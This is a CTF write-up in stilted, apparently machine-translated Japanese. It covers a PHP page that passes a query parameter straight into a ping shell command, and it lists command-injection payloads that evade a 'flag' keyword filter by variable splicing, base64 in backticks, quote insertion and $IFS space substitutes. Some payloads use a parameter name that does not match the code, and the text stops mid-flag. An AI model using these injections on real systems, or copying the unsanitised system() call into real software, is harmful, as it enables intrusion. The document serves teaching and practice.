ソースコード:
<?php
highlight_file("index.php");
if(preg_match("/flag/i", $_GET["ip"]))
{
die("no flag");
}
system("ping -c 3 $_GET[ip]");
?>
明白なコマンド実行:
上記から、flag.phpが現在のディレクトリにあることがわかりますので、直接cat ./flag?
しかし、人々はフラグキーワードをフィルタリングし、それをバイパスする方法は非常に単純です(実際、私はそれを少し前に見つけたばかりです...)、それをバイパスする方法はたくさんあります;
キーワードに一致する限り、アイデアも非常に単純です。
バイパス
1.変数を使用してバイパスします。
変数に値を割り当ててスプライシングすることで、以下をバイパスできます:
ペイロード:
?ip=1;a=fl;b=ag;cat $a$b.php
ソースコードを見る:
2. base64でエンコード
実行する必要があるコマンドは、base64エンコーディングに渡され、デコードされて実行されます
?id=1;cat `echo 'Li9mbGFnLnBocAo=' | base64 -d`
ここでそれについて話す:バックティック `はLinuxコマンドラインでコマンド置換の役割を果たす。コマンド置換は、シェルがコマンドラインの任意の場所にコマンドの標準出力を挿入できることを意味します。つまり、引用されたコマンドの実行を完了し、結果を置き換えることができます。つまり、 `でbase64によってデコードされたコマンドの出力結果がコマンドに返されます。これにより、制限を回避できます。(
たとえば、これはバックティック `だけではなく、$()はシェルでコマンド置換効果を再生することもできます。)また、cat ./flag.phpを間接的に実行します。
ソースコードを見る:
3引用符でキーワードをバイパスする
主な目的は、キーワードが一致しないようにすることです。
ペイロードの処理は簡単です。
?id=1;cat ./fl'ag'.php
ソースコードを見る:
4.スペースの周りをフィルタリング
フィルタースペースに遭遇した場合\${IFS}、<、 $IFS、\$IFS$9
、文字がそれらを置き換えるのを待つことができます。
もちろん、迂回姿勢は上記のものよりも間違いなく多いので、順応する方法を知る必要があります。
国旗:
flag:flag{
I_like_qwb_web